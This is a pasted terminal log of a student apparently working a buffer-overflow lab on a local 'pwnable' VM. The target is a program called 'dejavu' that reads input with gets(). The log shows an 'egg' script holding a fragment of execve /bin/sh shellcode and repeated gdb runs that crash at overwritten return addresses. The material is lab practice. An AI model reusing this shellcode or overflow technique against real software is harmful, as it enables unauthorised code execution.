Advertisement
Guest User

Untitled

a guest
Feb 9th, 2017
318
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 139.65 KB | None | 0 0
  1. Last login: Fri Feb 3 19:40:13 on ttys003
  2. Rameshs-MacBook-Pro-3:~ Tara$ ssh -p 2222 vsftpd@127.0.0.1
  3. The authenticity of host '[127.0.0.1]:2222 ([127.0.0.1]:2222)' can't be established.
  4. ECDSA key fingerprint is SHA256:0d25HRmF+6QJGKx2XcQDAMcqfc9+rzEmjcM50tev8+c.
  5. Are you sure you want to continue connecting (yes/no)? yes
  6. Warning: Permanently added '[127.0.0.1]:2222' (ECDSA) to the list of known hosts.
  7. vsftpd@127.0.0.1's password:
  8. _/ _/
  9. _/_/_/ _/ _/ _/ _/_/_/ _/_/_/ _/_/_/ _/ _/_/
  10. _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/_/_/_/
  11. _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/
  12. _/_/_/ _/ _/ _/ _/ _/_/_/ _/_/_/ _/ _/_/_/
  13. _/
  14. _/
  15.  
  16. Last login: Thu Jan 28 15:54:38 2016 from 10.0.2.2
  17. vsftpd@pwnable:~$ ls
  18. dejavu dejavu.c exploit README WELCOME
  19. vsftpd@pwnable:~$ cd dejavu
  20. -bash: cd: dejavu: Not a directory
  21. vsftpd@pwnable:~$ vi dejavu.c
  22. vsftpd@pwnable:~$ vi dejavu
  23. vsftpd@pwnable:~$ cd README
  24. -bash: cd: README: Not a directory
  25. vsftpd@pwnable:~$ vi README
  26. vsftpd@pwnable:~$ vi WELCOME
  27. vsftpd@pwnable:~$ ls -a
  28. . .bash_history .cache dejavu.c .profile .ssh WELCOME
  29. .. .bashrc dejavu exploit README .viminfo
  30. vsftpd@pwnable:~$ exploit
  31. exploit: command not found
  32. vsftpd@pwnable:~$ vi exploit
  33. vsftpd@pwnable:~$ vi dejavu
  34. vsftpd@pwnable:~$ vi dejavu.c
  35. vsftpd@pwnable:~$ gdb dejavu
  36. GNU gdb (GDB) 7.5-ubuntu
  37. Copyright (C) 2012 Free Software Foundation, Inc.
  38. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
  39. This is free software: you are free to change and redistribute it.
  40. There is NO WARRANTY, to the extent permitted by law. Type "show copying"
  41. and "show warranty" for details.
  42. This GDB was configured as "i686-linux-gnu".
  43. For bug reporting instructions, please see:
  44. <http://www.gnu.org/software/gdb/bugs/>...
  45. Reading symbols from /home/vsftpd/dejavu...done.
  46. (gdb) r
  47. Starting program: /home/vsftpd/dejavu
  48. fdsafda
  49. [Inferior 1 (process 4235) exited normally]
  50. (gdb)
  51. (gdb)
  52. (gdb)
  53. (gdb) r
  54. Starting program: /home/vsftpd/dejavu
  55.  
  56. [Inferior 1 (process 4257) exited normally]
  57. (gdb) quit
  58. vsftpd@pwnable:~$ vi dejavu.c
  59. vsftpd@pwnable:~$ invoke -d dejavu
  60. GNU gdb (GDB) 7.5-ubuntu
  61. Copyright (C) 2012 Free Software Foundation, Inc.
  62. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
  63. This is free software: you are free to change and redistribute it.
  64. There is NO WARRANTY, to the extent permitted by law. Type "show copying"
  65. and "show warranty" for details.
  66. This GDB was configured as "i686-linux-gnu".
  67. For bug reporting instructions, please see:
  68. <http://www.gnu.org/software/gdb/bugs/>...
  69. Reading symbols from /home/vsftpd/dejavu...done.
  70. (gdb) r
  71. Starting program: /home/vsftpd/dejavu
  72. f
  73. [Inferior 1 (process 6235) exited normally]
  74. (gdb) quit
  75. vsftpd@pwnable:~$ ls
  76. dejavu dejavu.c exploit README WELCOME
  77. vsftpd@pwnable:~$ vi dejavu.c
  78. vsftpd@pwnable:~$ vi exploit
  79. vsftpd@pwnable:~$ vi egg.py
  80. vsftpd@pwnable:~$ ls
  81. dejavu dejavu.c egg.py exploit README WELCOME
  82. vsftpd@pwnable:~$ cp ./egg egg.py
  83. cp: cannot stat `./egg': No such file or directory
  84. vsftpd@pwnable:~$ cp egg.py ./egg
  85. vsftpd@pwnable:~$ ls
  86. dejavu dejavu.c egg egg.py exploit README WELCOME
  87. vsftpd@pwnable:~$ ls -a
  88. . .bash_history .cache dejavu.c egg.py .profile .ssh WELCOME
  89. .. .bashrc dejavu egg exploit README .viminfo
  90. vsftpd@pwnable:~$ vi egg
  91. vsftpd@pwnable:~$ vi egg.py
  92. vsftpd@pwnable:~$ vi egg
  93. vsftpd@pwnable:~$ rm egg
  94. vsftpd@pwnable:~$ ls
  95. dejavu dejavu.c egg.py exploit README WELCOME
  96. vsftpd@pwnable:~$ ls -a
  97. . .bash_history .cache dejavu.c exploit README .viminfo
  98. .. .bashrc dejavu egg.py .profile .ssh WELCOME
  99. vsftpd@pwnable:~$ ls
  100. dejavu dejavu.c egg.py exploit README WELCOME
  101. vsftpd@pwnable:~$ ./egg > test
  102. -bash: ./egg: No such file or directory
  103. vsftpd@pwnable:~$ cp egg.py ./egg
  104. vsftpd@pwnable:~$ ls
  105. dejavu dejavu.c egg egg.py exploit README test WELCOME
  106. vsftpd@pwnable:~$ ./egg > test
  107. -bash: ./egg: Permission denied
  108. vsftpd@pwnable:~$ chmod x egg
  109. chmod: invalid mode: `x'
  110. Try `chmod --help' for more information.
  111. vsftpd@pwnable:~$ chmod +x egg
  112. vsftpd@pwnable:~$ ./egg > test
  113. ./egg: line 1: syntax error near unexpected token `('
  114. ./egg: line 1: `def main():'
  115. vsftpd@pwnable:~$ python egg
  116. File "egg", line 2
  117. shellcode = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07" +
  118. ^
  119. SyntaxError: invalid syntax
  120. vsftpd@pwnable:~$ vi egg
  121. vsftpd@pwnable:~$ vi egg
  122. vsftpd@pwnable:~$ python egg
  123. File "egg", line 2
  124. shellcode = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07" +
  125. ^
  126. SyntaxError: invalid syntax
  127. vsftpd@pwnable:~$ ./egg > test
  128. ./egg: line 1: syntax error near unexpected token `('
  129. ./egg: line 1: `def shell():'
  130. vsftpd@pwnable:~$ python2 egg
  131. File "egg", line 2
  132. shellcode = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07" +
  133. ^
  134. SyntaxError: invalid syntax
  135. vsftpd@pwnable:~$ python3 egg
  136. File "egg", line 2
  137. shellcode = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07" +
  138. ^
  139. SyntaxError: invalid syntax
  140. vsftpd@pwnable:~$ ls -a
  141. . .bash_history .cache dejavu.c egg.py .profile .ssh .viminfo
  142. .. .bashrc dejavu egg exploit README test WELCOME
  143. vsftpd@pwnable:~$ rm egg
  144. vsftpd@pwnable:~$ rm egg.py
  145. vsftpd@pwnable:~$ ls
  146. dejavu dejavu.c exploit README test WELCOME
  147. vsftpd@pwnable:~$ ls -a
  148. . .bash_history .cache dejavu.c .profile .ssh .viminfo
  149. .. .bashrc dejavu exploit README test WELCOME
  150. vsftpd@pwnable:~$ vi egg.py
  151. vsftpd@pwnable:~$ python egg.py
  152. vsftpd@pwnable:~$ cp egg.py test
  153. vsftpd@pwnable:~$ python test
  154. vsftpd@pwnable:~$ vi egg.py
  155. vsftpd@pwnable:~$ python egg.py
  156. File "egg.py", line 2
  157. shellcode = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07" +
  158. ^
  159. SyntaxError: invalid syntax
  160. vsftpd@pwnable:~$ cp test egg.py
  161. vsftpd@pwnable:~$ python egg.py
  162. vsftpd@pwnable:~$ rm test
  163. vsftpd@pwnable:~$ cp egg.py ./egg
  164. vsftpd@pwnable:~$ ls
  165. dejavu dejavu.c egg egg.py exploit README WELCOME
  166. vsftpd@pwnable:~$ chmod +x egg
  167. vsftpd@pwnable:~$ egg > test
  168. No command 'egg' found, did you mean:
  169. Command 'eg' from package 'easygit' (universe)
  170. Command 'ekg' from package 'ekg' (universe)
  171. Command 'ekg' from package 'ekg-gtk' (universe)
  172. Command 'eog' from package 'eog' (main)
  173. egg: command not found
  174. vsftpd@pwnable:~$ ./egg > test
  175. ./egg: line 1: syntax error near unexpected token `('
  176. ./egg: line 1: `def shell():'
  177. vsftpd@pwnable:~$ chmod +x egg.py
  178. vsftpd@pwnable:~$ ls
  179. dejavu dejavu.c egg egg.py exploit README test WELCOME
  180. vsftpd@pwnable:~$ rm egg
  181. vsftpd@pwnable:~$ ls
  182. dejavu dejavu.c egg.py exploit README test WELCOME
  183. vsftpd@pwnable:~$ ls -a
  184. . .bash_history .cache dejavu.c exploit README test WELCOME
  185. .. .bashrc dejavu egg.py .profile .ssh .viminfo
  186. vsftpd@pwnable:~$ ./egg > test
  187. -bash: ./egg: No such file or directory
  188. vsftpd@pwnable:~$ ./egg.py > test
  189. ./egg.py: line 1: syntax error near unexpected token `('
  190. ./egg.py: line 1: `def shell():'
  191. vsftpd@pwnable:~$ cp egg.py egg
  192. vsftpd@pwnable:~$ chmod +x egg
  193. vsftpd@pwnable:~$ ./egg > test
  194. ./egg: line 1: syntax error near unexpected token `('
  195. ./egg: line 1: `def shell():'
  196. vsftpd@pwnable:~$ cat
  197. ^C
  198. vsftpd@pwnable:~$ vi egg
  199. vsftpd@pwnable:~$ ls
  200. dejavu dejavu.c egg egg.py exploit README test WELCOME
  201. vsftpd@pwnable:~$ rm egg
  202. vsftpd@pwnable:~$ rm egg.py
  203. vsftpd@pwnable:~$ ls
  204. dejavu dejavu.c exploit README test WELCOME
  205. vsftpd@pwnable:~$ rm test
  206. vsftpd@pwnable:~$ ls
  207. dejavu dejavu.c exploit README WELCOME
  208. vsftpd@pwnable:~$ ls -a
  209. . .bash_history .cache dejavu.c .profile .ssh WELCOME
  210. .. .bashrc dejavu exploit README .viminfo
  211. vsftpd@pwnable:~$ vi egg
  212. vsftpd@pwnable:~$ python egg
  213. vsftpd@pwnable:~$ vi egg
  214. vsftpd@pwnable:~$ python egg
  215. vsftpd@pwnable:~$ vi egg.
  216. vsftpd@pwnable:~$ ls
  217. dejavu dejavu.c egg exploit README WELCOME
  218. vsftpd@pwnable:~$ vi egg
  219. vsftpd@pwnable:~$ python egg
  220. ?^?1??F?F
  221. ?
  222. ???V
  223. ̀1ۉ?@̀?????/bin/sh
  224. vsftpd@pwnable:~$ ls
  225. dejavu dejavu.c egg exploit README WELCOME
  226. vsftpd@pwnable:~$ chmod +x egg
  227. vsftpd@pwnable:~$ ls
  228. dejavu dejavu.c egg exploit README WELCOME
  229. vsftpd@pwnable:~$ ./egg > test
  230. ./egg: line 1: syntax error near unexpected token `('
  231. ./egg: line 1: `def main():'
  232. vsftpd@pwnable:~$ egg > test
  233. No command 'egg' found, did you mean:
  234. Command 'eg' from package 'easygit' (universe)
  235. Command 'ekg' from package 'ekg' (universe)
  236. Command 'ekg' from package 'ekg-gtk' (universe)
  237. Command 'eog' from package 'eog' (main)
  238. egg: command not found
  239. vsftpd@pwnable:~$ ./egg > test
  240. ./egg: line 1: syntax error near unexpected token `('
  241. ./egg: line 1: `def main():'
  242. vsftpd@pwnable:~$ vi egg
  243. vsftpd@pwnable:~$ ls
  244. dejavu dejavu.c egg exploit README test WELCOME
  245. vsftpd@pwnable:~$ vi egg
  246. vsftpd@pwnable:~$ ./egg > test
  247. vsftpd@pwnable:~$ invoke -d dejavu
  248. GNU gdb (GDB) 7.5-ubuntu
  249. Copyright (C) 2012 Free Software Foundation, Inc.
  250. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
  251. This is free software: you are free to change and redistribute it.
  252. There is NO WARRANTY, to the extent permitted by law. Type "show copying"
  253. and "show warranty" for details.
  254. This GDB was configured as "i686-linux-gnu".
  255. For bug reporting instructions, please see:
  256. <http://www.gnu.org/software/gdb/bugs/>...
  257. Reading symbols from /home/vsftpd/dejavu...done.
  258. (gdb) disas
  259. No frame selected.
  260. (gdb) disas main
  261. Dump of assembler code for function main:
  262. 0x0804841f <+0>: push %ebp
  263. 0x08048420 <+1>: mov %esp,%ebp
  264. 0x08048422 <+3>: and $0xfffffff0,%esp
  265. 0x08048425 <+6>: call 0x804840c <deja_vu>
  266. 0x0804842a <+11>: mov $0x0,%eax
  267. 0x0804842f <+16>: leave
  268. 0x08048430 <+17>: ret
  269. End of assembler dump.
  270. (gdb) quit
  271. vsftpd@pwnable:~$ ls
  272. dejavu dejavu.c egg exploit README test WELCOME
  273. vsftpd@pwnable:~$ vi dejavu.c
  274. vsftpd@pwnable:~$ vi dejavu.c
  275. vsftpd@pwnable:~$ invoke -d dejavu
  276. GNU gdb (GDB) 7.5-ubuntu
  277. Copyright (C) 2012 Free Software Foundation, Inc.
  278. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
  279. This is free software: you are free to change and redistribute it.
  280. There is NO WARRANTY, to the extent permitted by law. Type "show copying"
  281. and "show warranty" for details.
  282. This GDB was configured as "i686-linux-gnu".
  283. For bug reporting instructions, please see:
  284. <http://www.gnu.org/software/gdb/bugs/>...
  285. Reading symbols from /home/vsftpd/dejavu...done.
  286. (gdb) run hellohello
  287. Starting program: /home/vsftpd/dejavu hellohello
  288. ^C
  289. Program received signal SIGINT, Interrupt.
  290. 0xb7fdd424 in __kernel_vsyscall ()
  291. (gdb) quit
  292. A debugging session is active.
  293.  
  294. Inferior 1 [process 9307] will be killed.
  295.  
  296. Quit anyway? (y or n) y
  297. vsftpd@pwnable:~$ vi egg
  298. vsftpd@pwnable:~$ !i
  299. invoke -d dejavu
  300. GNU gdb (GDB) 7.5-ubuntu
  301. Copyright (C) 2012 Free Software Foundation, Inc.
  302. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
  303. This is free software: you are free to change and redistribute it.
  304. There is NO WARRANTY, to the extent permitted by law. Type "show copying"
  305. and "show warranty" for details.
  306. This GDB was configured as "i686-linux-gnu".
  307. For bug reporting instructions, please see:
  308. <http://www.gnu.org/software/gdb/bugs/>...
  309. Reading symbols from /home/vsftpd/dejavu...done.
  310. (gdb) b main
  311. Breakpoint 1 at 0x8048425: file dejavu.c, line 12.
  312. (gdb) r
  313. Starting program: /home/vsftpd/dejavu
  314.  
  315. Breakpoint 1, main () at dejavu.c:12
  316. 12 deja_vu();
  317. (gdb) c
  318. Continuing.
  319. ^C
  320. Program received signal SIGINT, Interrupt.
  321. 0xb7fdd424 in __kernel_vsyscall ()
  322. (gdb) r hello
  323. The program being debugged has been started already.
  324. Start it from the beginning? (y or n) y
  325. Starting program: /home/vsftpd/dejavu hello
  326.  
  327. Breakpoint 1, main () at dejavu.c:12
  328. 12 deja_vu();
  329. (gdb) n
  330. hello
  331. 13 return 0;
  332. (gdb) b deja_vu
  333. Breakpoint 2 at 0x8048412: file dejavu.c, line 7.
  334. (gdb) r
  335. The program being debugged has been started already.
  336. Start it from the beginning? (y or n) y
  337. Starting program: /home/vsftpd/dejavu hello
  338.  
  339. Breakpoint 1, main () at dejavu.c:12
  340. 12 deja_vu();
  341. (gdb) n
  342.  
  343. Breakpoint 2, deja_vu () at dejavu.c:7
  344. 7 gets(door);
  345. (gdb) n
  346. hellohellohellohello
  347. 8 }
  348. (gdb) n
  349. 0x08048400 in frame_dummy ()
  350. (gdb) n
  351. Single stepping until exit from function frame_dummy,
  352. which has no line number information.
  353. 0x08048380 in register_tm_clones ()
  354. (gdb) n
  355. Single stepping until exit from function register_tm_clones,
  356. which has no line number information.
  357. 0x08048440 in __libc_csu_init ()
  358. (gdb) n
  359. Single stepping until exit from function __libc_csu_init,
  360. which has no line number information.
  361. 0x080482b0 in _init ()
  362. (gdb) n
  363. Single stepping until exit from function _init,
  364. which has no line number information.
  365. 0x08048461 in __libc_csu_init ()
  366. (gdb) n
  367. Single stepping until exit from function __libc_csu_init,
  368. which has no line number information.
  369. 0x080483e0 in frame_dummy ()
  370. (gdb) n
  371. Single stepping until exit from function frame_dummy,
  372. which has no line number information.
  373. 0x08048380 in register_tm_clones ()
  374. (gdb) n
  375. Single stepping until exit from function register_tm_clones,
  376. which has no line number information.
  377. 0x08048492 in __libc_csu_init ()
  378. (gdb) n
  379. Single stepping until exit from function __libc_csu_init,
  380. which has no line number information.
  381. 0x00000000 in ?? ()
  382. (gdb) c
  383. Continuing.
  384.  
  385. Program received signal SIGSEGV, Segmentation fault.
  386. 0x00000000 in ?? ()
  387. (gdb) rm b2
  388. Undefined command: "rm". Try "help".
  389. (gdb) b
  390. Breakpoint 3 at 0x0
  391. (gdb) d 3
  392. (gdb) d 2
  393. (gdb) r
  394. The program being debugged has been started already.
  395. Start it from the beginning? (y or n) y
  396. Starting program: /home/vsftpd/dejavu hello
  397.  
  398. Breakpoint 1, main () at dejavu.c:12
  399. 12 deja_vu();
  400. (gdb) n
  401. hellohellowhatishappening
  402.  
  403. Program received signal SIGSEGV, Segmentation fault.
  404. 0x6e696e65 in ?? ()
  405. (gdb) layout split
  406. vsftpd@pwnable:~$ ./egg > test
  407. vsftpd@pwnable:~$ invoke -d dejavu
  408. GNU gdb (GDB) 7.5-ubuntu
  409. Copyright (C) 2012 Free Software Foundation, Inc.
  410. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
  411. This is free software: you are free to change and redistribute it.
  412. There is NO WARRANTY, to the extent permitted by law. Type "show copying"
  413. and "show warranty" for details.
  414. This GDB was configured as "i686-linux-gnu".
  415. For bug reporting instructions, please see:
  416. <http://www.gnu.org/software/gdb/bugs/>...
  417. Reading symbols from /home/vsftpd/dejavu...done.
  418. (gdb) b main
  419. Breakpoint 1 at 0x8048425: file dejavu.c, line 12.
  420. (gdb) Run < test
  421. Starting program: /home/vsftpd/dejavu < test
  422.  
  423. Breakpoint 1, main () at dejavu.c:12
  424. 12 deja_vu();
  425. (gdb) s
  426. deja_vu () at dejavu.c:7
  427. 7 gets(door);
  428. (gdb) layout split
  429. vsftpd@pwnable:~$ ./egg > test
  430. vsftpd@pwnable:~$ invoke -d dejavu
  431. GNU gdb (GDB) 7.5-ubuntu
  432. Copyright (C) 2012 Free Software Foundation, Inc.
  433. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
  434. This is free software: you are free to change and redistribute it.
  435. There is NO WARRANTY, to the extent permitted by law. Type "show copying"
  436. and "show warranty" for details.
  437. This GDB was configured as "i686-linux-gnu".
  438. For bug reporting instructions, please see:
  439. <http://www.gnu.org/software/gdb/bugs/>...
  440. Reading symbols from /home/vsftpd/dejavu...done.
  441. (gdb) b main
  442. Breakpoint 1 at 0x8048425: file dejavu.c, line 12.
  443. (gdb) Run < test
  444. Starting program: /home/vsftpd/dejavu < test
  445.  
  446. Breakpoint 1, main () at dejavu.c:12
  447. 12 deja_vu();
  448. (gdb) s
  449. deja_vu () at dejavu.c:7
  450. 7 gets(door);
  451. (gdb) layout split
  452. vsftpd@pwnable:~$ vi dejavu.c
  453. vsftpd@pwnable:~$ git status
  454. The program 'git' is currently not installed. To run 'git' please ask your administrator to install the package 'git'
  455. vsftpd@pwnable:~$ ld
  456. ld: no input files
  457. vsftpd@pwnable:~$ ls
  458. dejavu dejavu.c egg exploit README test WELCOME
  459. vsftpd@pwnable:~$ vi egg
  460. vsftpd@pwnable:~$ ./egg > test
  461. vsftpd@pwnable:~$ invoke -d dejavu
  462. GNU gdb (GDB) 7.5-ubuntu
  463. Copyright (C) 2012 Free Software Foundation, Inc.
  464. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
  465. This is free software: you are free to change and redistribute it.
  466. There is NO WARRANTY, to the extent permitted by law. Type "show copying"
  467. and "show warranty" for details.
  468. This GDB was configured as "i686-linux-gnu".
  469. For bug reporting instructions, please see:
  470. <http://www.gnu.org/software/gdb/bugs/>...
  471. Reading symbols from /home/vsftpd/dejavu...done.
  472. (gdb) b main
  473. Breakpoint 1 at 0x8048425: file dejavu.c, line 12.
  474. (gdb) Run < test
  475. Starting program: /home/vsftpd/dejavu < test
  476.  
  477. Breakpoint 1, main () at dejavu.c:12
  478. 12 deja_vu();
  479. (gdb) layout split
  480. vsftpd@pwnable:~$ vi egg
  481. vsftpd@pwnable:~$ ./egg > test
  482. vsftpd@pwnable:~$ !i
  483. invoke -d dejavu
  484. GNU gdb (GDB) 7.5-ubuntu
  485. Copyright (C) 2012 Free Software Foundation, Inc.
  486. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
  487. This is free software: you are free to change and redistribute it.
  488. There is NO WARRANTY, to the extent permitted by law. Type "show copying"
  489. and "show warranty" for details.
  490. This GDB was configured as "i686-linux-gnu".
  491. For bug reporting instructions, please see:
  492. <http://www.gnu.org/software/gdb/bugs/>...
  493. Reading symbols from /home/vsftpd/dejavu...done.
  494. (gdb) Run < test
  495. Starting program: /home/vsftpd/dejavu < test
  496.  
  497. Program received signal SIGSEGV, Segmentation fault.
  498. 0x895e1feb in ?? ()
  499. (gdb) b main
  500. Breakpoint 1 at 0x8048425: file dejavu.c, line 12.
  501. (gdb) r
  502. The program being debugged has been started already.
  503. Start it from the beginning? (y or n) y
  504. Starting program: /home/vsftpd/dejavu < test
  505.  
  506. Breakpoint 1, main () at dejavu.c:12
  507. 12 deja_vu();
  508. (gdb) layout split
  509. vsftpd@pwnable:~$ vi egg
  510. vsftpd@pwnable:~$ !.
  511. ./egg > test
  512. vsftpd@pwnable:~$ ./egg > test
  513. vsftpd@pwnable:~$ !i
  514. invoke -d dejavu
  515. GNU gdb (GDB) 7.5-ubuntu
  516. Copyright (C) 2012 Free Software Foundation, Inc.
  517. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
  518. This is free software: you are free to change and redistribute it.
  519. There is NO WARRANTY, to the extent permitted by law. Type "show copying"
  520. and "show warranty" for details.
  521. This GDB was configured as "i686-linux-gnu".
  522. For bug reporting instructions, please see:
  523. <http://www.gnu.org/software/gdb/bugs/>...
  524. Reading symbols from /home/vsftpd/dejavu...done.
  525. (gdb) r
  526. Starting program: /home/vsftpd/dejavu
  527. ^C
  528. Program received signal SIGINT, Interrupt.
  529. 0xb7fdd424 in __kernel_vsyscall ()
  530. (gdb) Run < test
  531. The program being debugged has been started already.
  532. Start it from the beginning? (y or n) y
  533. Starting program: /home/vsftpd/dejavu < test
  534.  
  535. Program received signal SIGSEGV, Segmentation fault.
  536. 0x895e1feb in ?? ()
  537. (gdb) quit
  538. A debugging session is active.
  539.  
  540. Inferior 1 [process 9685] will be killed.
  541.  
  542. Quit anyway? (y or n) y
  543. vsftpd@pwnable:~$ vi egg
  544. vsftpd@pwnable:~$ vi dejavu
  545. vsftpd@pwnable:~$ vi dejavu.c
  546. vsftpd@pwnable:~$ vi egg
  547. vsftpd@pwnable:~$ ./egg > test
  548. vsftpd@pwnable:~$ invoke -d dejavu
  549. GNU gdb (GDB) 7.5-ubuntu
  550. Copyright (C) 2012 Free Software Foundation, Inc.
  551. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
  552. This is free software: you are free to change and redistribute it.
  553. There is NO WARRANTY, to the extent permitted by law. Type "show copying"
  554. and "show warranty" for details.
  555. This GDB was configured as "i686-linux-gnu".
  556. For bug reporting instructions, please see:
  557. <http://www.gnu.org/software/gdb/bugs/>...
  558. Reading symbols from /home/vsftpd/dejavu...done.
  559. (gdb) b main
  560. Breakpoint 1 at 0x8048425: file dejavu.c, line 12.
  561. (gdb) Run < test
  562. Starting program: /home/vsftpd/dejavu < test
  563.  
  564. Breakpoint 1, main () at dejavu.c:12
  565. 12 deja_vu();
  566. (gdb) layout split
  567. vsftpd@pwnable:~$ vi egg
  568. vsftpd@pwnable:~$ ./egg > test
  569. vsftpd@pwnable:~$ !i
  570. invoke -d dejavu
  571. GNU gdb (GDB) 7.5-ubuntu
  572. Copyright (C) 2012 Free Software Foundation, Inc.
  573. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
  574. This is free software: you are free to change and redistribute it.
  575. There is NO WARRANTY, to the extent permitted by law. Type "show copying"
  576. and "show warranty" for details.
  577. This GDB was configured as "i686-linux-gnu".
  578. For bug reporting instructions, please see:
  579. <http://www.gnu.org/software/gdb/bugs/>...
  580. Reading symbols from /home/vsftpd/dejavu...done.
  581. (gdb) r
  582. Starting program: /home/vsftpd/dejavu
  583. ^C
  584. Program received signal SIGINT, Interrupt.
  585. 0xb7fdd424 in __kernel_vsyscall ()
  586. (gdb) Run < test
  587. The program being debugged has been started already.
  588. Start it from the beginning? (y or n) y
  589. Starting program: /home/vsftpd/dejavu < test
  590.  
  591. Program received signal SIGSEGV, Segmentation fault.
  592. 0x895e1feb in ?? ()
  593. (gdb) quit
  594. A debugging session is active.
  595.  
  596. Inferior 1 [process 10126] will be killed.
  597.  
  598. Quit anyway? (y or n) y
  599. vsftpd@pwnable:~$ vi egg
  600. vsftpd@pwnable:~$ ./egg > test
  601. vsftpd@pwnable:~$ invoke -d dejavu
  602. GNU gdb (GDB) 7.5-ubuntu
  603. Copyright (C) 2012 Free Software Foundation, Inc.
  604. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
  605. This is free software: you are free to change and redistribute it.
  606. There is NO WARRANTY, to the extent permitted by law. Type "show copying"
  607. and "show warranty" for details.
  608. This GDB was configured as "i686-linux-gnu".
  609. For bug reporting instructions, please see:
  610. <http://www.gnu.org/software/gdb/bugs/>...
  611. Reading symbols from /home/vsftpd/dejavu...done.
  612. (gdb) Run < test
  613. Starting program: /home/vsftpd/dejavu < test
  614.  
  615. Program received signal SIGSEGV, Segmentation fault.
  616. 0x895e1feb in ?? ()
  617. (gdb) ^CQuit
  618. (gdb) quit
  619. A debugging session is active.
  620.  
  621. Inferior 1 [process 10251] will be killed.
  622.  
  623. Quit anyway? (y or n) y
  624. vsftpd@pwnable:~$ ./egg > test
  625. vsftpd@pwnable:~$ vi egg
  626. vsftpd@pwnable:~$ ./egg > test
  627. vsftpd@pwnable:~$ invoke -d dejavu
  628. GNU gdb (GDB) 7.5-ubuntu
  629. Copyright (C) 2012 Free Software Foundation, Inc.
  630. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
  631. This is free software: you are free to change and redistribute it.
  632. There is NO WARRANTY, to the extent permitted by law. Type "show copying"
  633. and "show warranty" for details.
  634. This GDB was configured as "i686-linux-gnu".
  635. For bug reporting instructions, please see:
  636. <http://www.gnu.org/software/gdb/bugs/>...
  637. Reading symbols from /home/vsftpd/dejavu...done.
  638. (gdb) Run < test
  639. Starting program: /home/vsftpd/dejavu < test
  640.  
  641. Program received signal SIGSEGV, Segmentation fault.
  642. 0x0876895e in ?? ()
  643. (gdb) quit
  644. A debugging session is active.
  645.  
  646. Inferior 1 [process 10304] will be killed.
  647.  
  648. Quit anyway? (y or n) y
  649. vsftpd@pwnable:~$ vi egg
  650. vsftpd@pwnable:~$ ./egg > test
  651. vsftpd@pwnable:~$ invoke -d dejavu
  652. GNU gdb (GDB) 7.5-ubuntu
  653. Copyright (C) 2012 Free Software Foundation, Inc.
  654. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
  655. This is free software: you are free to change and redistribute it.
  656. There is NO WARRANTY, to the extent permitted by law. Type "show copying"
  657. and "show warranty" for details.
  658. This GDB was configured as "i686-linux-gnu".
  659. For bug reporting instructions, please see:
  660. <http://www.gnu.org/software/gdb/bugs/>...
  661. Reading symbols from /home/vsftpd/dejavu...done.
  662. (gdb) Run < test
  663. Starting program: /home/vsftpd/dejavu < test
  664.  
  665. Program received signal SIGSEGV, Segmentation fault.
  666. 0x88c03108 in ?? ()
  667. (gdb) quit
  668. A debugging session is active.
  669.  
  670. Inferior 1 [process 10347] will be killed.
  671.  
  672. Quit anyway? (y or n) y
  673. vsftpd@pwnable:~$ vi egg
  674. vsftpd@pwnable:~$ ./egg > test
  675. vsftpd@pwnable:~$ invoke -d dejavu
  676. GNU gdb (GDB) 7.5-ubuntu
  677. Copyright (C) 2012 Free Software Foundation, Inc.
  678. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
  679. This is free software: you are free to change and redistribute it.
  680. There is NO WARRANTY, to the extent permitted by law. Type "show copying"
  681. and "show warranty" for details.
  682. This GDB was configured as "i686-linux-gnu".
  683. For bug reporting instructions, please see:
  684. <http://www.gnu.org/software/gdb/bugs/>...
  685. Reading symbols from /home/vsftpd/dejavu...done.
  686. (gdb) Run < tes
  687. Starting program: /home/vsftpd/dejavu < tes
  688. /bin/sh: 1: cannot open tes: No such file
  689. During startup program exited with code 2.
  690. (gdb) Run < test
  691. Starting program: /home/vsftpd/dejavu < test
  692.  
  693. Program received signal SIGSEGV, Segmentation fault.
  694. 0xeb303936 in ?? ()
  695. (gdb) quit
  696. A debugging session is active.
  697.  
  698. Inferior 1 [process 10651] will be killed.
  699.  
  700. Quit anyway? (y or n) y
  701. vsftpd@pwnable:~$ vi egg
  702. vsftpd@pwnable:~$ ./egg > test
  703. vsftpd@pwnable:~$ invoke -d dejavu
  704. GNU gdb (GDB) 7.5-ubuntu
  705. Copyright (C) 2012 Free Software Foundation, Inc.
  706. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
  707. This is free software: you are free to change and redistribute it.
  708. There is NO WARRANTY, to the extent permitted by law. Type "show copying"
  709. and "show warranty" for details.
  710. This GDB was configured as "i686-linux-gnu".
  711. For bug reporting instructions, please see:
  712. <http://www.gnu.org/software/gdb/bugs/>...
  713. Reading symbols from /home/vsftpd/dejavu...done.
  714. (gdb) Run < test
  715. Starting program: /home/vsftpd/dejavu < test
  716.  
